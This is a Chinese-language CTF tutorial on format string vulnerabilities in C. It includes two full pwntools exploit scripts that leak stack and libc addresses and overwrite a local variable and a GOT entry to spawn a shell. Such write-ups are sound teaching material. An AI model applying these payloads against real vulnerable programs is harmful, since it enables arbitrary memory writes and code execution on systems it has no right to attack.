格式化字符串漏洞

格式化字符串漏洞

一、知识储备

1. 格式化字符串是什么

在C语言中,我们经常会使用到printf之类的函数来输出,printf函数的第一个参数就是一个格式化字符串。在格式化字符串中,我们可以使用占位符,指定格式,这些占位符用来替代后面的变量或者是数据。
例如:
image
更多关于格式化字符串的教程可以这里查看在此我就不过多说明了。

2. 漏洞原理

我们可以使用%数字+$的形式,指定参数相对于格式化字符串的偏移,我们来看看这个程序的运行结果
image
传入参数的顺序没有变化,但是输出参数的顺序改变了。%4$s %3$s %2$s %1$s分别对应格式化字符串后面的第4、3、2、1个参数。
因此通过以上操作(在权限允许的范围内)我们就能够实现:

  • 任意地址泄露:使用%+数字+$
  • 任意地址写入:%数字c%数字$n

二、例题分析(题目附件放在文末)

1.babyfmt

拿到题目先检查保护措施并运行一遍。
image-20250617130708065
了解基本情况之后,我们用ida来看看程序的运行逻辑。main函数非常简单,只调用了一个dofunc函数。
image
程序的运行逻辑非常简单,只要v1等于100就可以getshell了。(当然,溢出的方法能做,这里主要讲格式化字符串的方法。)所以思路非常简单,我们只需要通过格式化字符串修改v1的值为100就可以了。
首先我们要获取rbp的位置,我们可以通过读取rbp中的值,然后再把拿到的值减去0x10就是当前rbp的值,然后再减去0x8就时我们要修改的内存部分了。我们先来动态调试看一下rbp相对于格式化字符串的位置。
image-20250617130719383
可以看到,rsp和rbp相距0x40字节,所以偏移就是5 + 64/8 + 1 = 14(5指的除了rdi之外的另外5个用于参数传递的寄存器),我们的payload1就构造好了。
payload1 = payload1 = b'%14$p'
然后我们接收,并将这个地址减去0x18就是rbp-8的地址了。拿到地址之后我们再通过%100c%x$hhn就能够修改这个地址的值了。下面,我们来计算处x的值。先如下构造payload2。
payload2 = b"%100c%x$hhn" +b'a'*0x5 + p64(rbp_8_addr)(a用于对齐)然后gdb动调。
image-20250617130731675
那么x = 5 + 48/8 + 1 = 12。所以payload2如下:
payload2 = b"%100c%12$hhnaaaa" + p64(rbp_8_addr)

到此这道题就做完了。完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
if __name__=='__main__':
context(log_level='debug' , arch='amd64' , os='linux')
elf = ELF('./babyfmt')

io =process("./babyfmt")
gdb.attach(io)
#payload = b'a' * 0x18 + p64(100)
payload1 = b'%14$p'
io.sendafter("input:\n" , payload1)

stack = int(io.recvline()[ 2 : 14] , 16)
print("stack:" , hex(stack))

value_addr = stack - 0x18

payload2 = b"%100c%12$hhnaaaa" + p64(value_addr)
io.send(payload2)
io.interactive()

2.fmt_str_level_1_x86

拿到题目还是先查看一下保护措施,然后运行一下。
image
了解基本情况之后,我们用ida来看看程序的运行逻辑。main函数非常简单,只调用了一个dofunc函数,我们直接分析这个dofunc函数。
image-20250617130821365

这次没有system给我们跳转了,但是got表时可写的,所以我们可以通过修改printf函数的地址为system的地址然后参数传入**/bin/sh**来getshell。

由于这道题开启了PIE所以我们无法直接从IDA读取地址,我们先通过格式化字符串漏洞泄露函数返回值的地址(就是main函数中 call dofunc之后的下一条指令)然后找到main函数的入口地址,main函数的入口地址减去main函数与printf函数的got表地址之间的偏移量就可以获得printf函数的got表的地址了。通过动态调试得知,dofunc函数的返回地址相对于格式化字符串的偏移为75(32位程序的计算直接数就好了,这里就不带着去找了),所以payload1如下:
payload1 = b'%75$p'
接收got表的地址并处理如下:

1
2
3
4
5
main_addr = main_p30_addr - 30
print("main_addr:" , hex(main_addr))
offset = elf.symbols['main'] - elf.got['printf']
printf_got_addr = main_addr - offset
print("printf_got_addr:" , hex(printf_got_addr))

下一步我们就是要读取printf的got表拿到printf函数的真实地址了,payload2如下:
payload2 = p32(printf_got_addr) + b'%7$s\x00'
接收到真实地址之后我们需要计算出system函数和**/bin/sh的地址**(和普通的libc题目一样),相关代码如下:

1
2
3
4
5
6
7
8
9
print_real_addr = u32(io.recv(8)[ 4 : 8])
print("print_real_addr:" , hex(print_real_addr))

libcbase = print_real_addr - libc.sym["printf"]
sys_addr = libcbase + libc.sym["system"]
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("sys_addr:" , hex(sys_addr))
print("binshi_addr:" , hex(binsh_addr))

下一步我们需要通过%n改地址。但是由于地址是一个十分大的数字,直接使用%n改掉可能会引发崩溃,所以这里我们一个字节一个字节地改地址。老规矩,我们通过动调找到了第一个字节的地址相对于格式化字符串的偏移量位7,由于要修改4次地址,我们简单的写一个脚本帮我们构造payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def fmt(prev, word, index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr += "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode('utf-8')

def fmt_str(offset, size, addr, target):
# offset 偏移位置 size 32?64 addr写入地址 target 写入内容
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

然后我们调用这个函数来生成payload3
payload3 = fmt_str( 7 , 4 , printf_got_addr , sys_addr)
最后我们只需要把**/bin/sh**传过去就可以了。payload4如下
payload4 = p32(binsh_addr)

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

def fmt(prev, word, index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr += "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode('utf-8')

def fmt_str(offset, size, addr, target):
# offset 偏移位置 size 32?64 addr写入地址 target 写入内容
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

if __name__=='__main__':
context(arch='i386', os='linux', log_level='debug')
#context.terminal=['tmux', 'splitw', '-h']
pwnfile = './fmt_str_level_1_x86'
elf = ELF(pwnfile)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
io = process(pwnfile)

# gdb.attach(io)
payload1 = b'%75$p'
io.send(payload1)
io.recvuntil("input:\n")
main_p30_addr = int(io.recv(10)[2 : 10] , 16 )
main_addr = main_p30_addr - 30
print("main_addr:" , hex(main_addr))
offset = elf.symbols['main'] - elf.got['printf']

printf_got_addr = main_addr - offset
print("printf_got_addr:" , hex(printf_got_addr))

io.recvuntil("input:\n")
payload2 = p32(printf_got_addr) + b'%7$s\x00'
io.send(payload2)

print_real_addr = u32(io.recv(8)[ 4 : 8])
print("print_real_addr:" , hex(print_real_addr))

libcbase = print_real_addr - libc.sym["printf"]
sys_addr = libcbase + libc.sym["system"]
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("sys_addr:" , hex(sys_addr))
print("binshi_addr:" , hex(binsh_addr))

io.recvuntil("input:\n")
payload3 = fmt_str( 7 , 4 , printf_got_addr , sys_addr)
print( "payload3:" , payload3)
io.send(payload3)

io.recvuntil("input:\n")
payload4 = p32(binsh_addr)
io.send(payload4)

io.interactive()

题目附件